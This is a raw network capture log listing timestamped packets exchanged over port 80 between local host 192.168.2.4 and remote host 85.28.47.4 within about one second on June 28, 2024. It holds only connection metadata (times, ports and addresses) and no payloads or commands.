Jun 28, 2024 22:31:58.740830898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.740832090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.740844011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.740849018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.740854025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.740875006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.740890026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.791042089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.791110039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.791136026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.791146994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.791316986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.791430950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.791441917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.791454077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.791482925 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.791505098 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.791837931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.791887045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.800602913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.800657034 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.800684929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.800694942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.800733089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.800817966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.800865889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.800915003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.800925970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.800940990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.800959110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.800982952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.801382065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.801429987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.801496029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.801506996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.801518917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.801527977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.801537991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.801542044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.801549911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.801563978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.801595926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.802078962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.802089930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.802100897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.802129030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.802149057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.811975956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812026024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.812082052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812093973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812129021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.812536955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812547922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812558889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812577009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812581062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.812587023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812601089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.812628984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.812800884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812849045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.812855005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812865973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812876940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.812895060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.812918901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.813576937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.813590050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.813601017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.813626051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.813657045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.823986053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.824035883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.824076891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.824089050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.824120045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.824130058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.824306011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.824352026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.824471951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.824487925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.824500084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.824510098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.824520111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.824522018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.824537992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.824553967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.825041056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825052977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825064898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825076103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825084925 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.825088024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825099945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825112104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.825139999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.825901985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825912952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825923920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825934887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825947046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.825948000 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.825967073 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.825975895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.826447964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.826458931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.826468945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.826479912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.826492071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.826497078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.826502085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.826514006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.826519966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.826539040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.826550961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.827327013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.827338934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.827351093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.827363014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.827372074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.827374935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.827388048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.827395916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.827419043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.827430010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.828222990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.828234911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.828244925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.828255892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.828267097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.828268051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.828278065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.828282118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.828289986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.828308105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.828321934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.829122066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.829133987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.829144001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.829154015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.829164982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.829166889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.829178095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.829190016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.829190969 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.829214096 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.829226971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.830085039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830096960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830106974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830117941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830127954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830138922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.830140114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830151081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830158949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.830176115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.830199957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.830888033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830905914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830918074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830929041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830933094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.830940962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830950022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.830952883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830964088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.830975056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.830990076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.831016064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.831703901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.831715107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.831724882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.831736088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.831747055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.831752062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.831758976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.831769943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.831777096 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.831782103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.831793070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.831794977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.831814051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.831825972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.832612991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.832624912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.832634926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.832640886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.832652092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.832662106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.832664013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.832675934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.832684994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.832710028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.883479118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.883538008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.883555889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.883565903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.883599997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.883713961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.883724928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.883734941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.883745909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.883754015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.883784056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.884341002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.884387970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.893260956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.893311977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.893340111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.893368006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.893403053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.893507957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.893520117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.893529892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.893553019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.893568993 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.893739939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.893780947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.893791914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.893791914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.893815041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.893829107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.894146919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.894156933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.894166946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.894179106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.894193888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.894218922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.894510031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.894520998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.894526958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.894572020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.904652119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.904705048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.904731989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.904742002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.904776096 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.904805899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.904881954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.904894114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.904926062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.905144930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905157089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905167103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905190945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.905205011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.905369043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905411005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905421019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905426979 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.905462027 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.905709982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905721903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905730963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905742884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905752897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.905755043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.905777931 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.905792952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.916624069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.916691065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.916702032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.916759014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.916842937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.916855097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.916889906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.917058945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917071104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917107105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.917283058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917299986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917310953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917321920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.917321920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917334080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917355061 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.917373896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.917917013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917927027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917938948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917952061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917962074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917973042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917973995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.917988062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.917993069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.917993069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.918021917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.918633938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.918646097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.918656111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.918668032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.918678999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.918680906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.918694019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.918705940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.918713093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.918721914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.918750048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.919404984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.919415951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.919425964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.919437885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.919449091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.919459105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.919461966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.919471025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.919481039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.919504881 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.920309067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.920320988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.920330048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.920341969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.920351028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.920352936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.920362949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.920375109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.920384884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.920388937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.920407057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.920416117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.921247005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.921258926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.921268940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.921281099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.921292067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.921292067 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.921303988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.921314001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.921314955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.921324015 CEST	49731	80	192.168.2.4	85.28.47.4
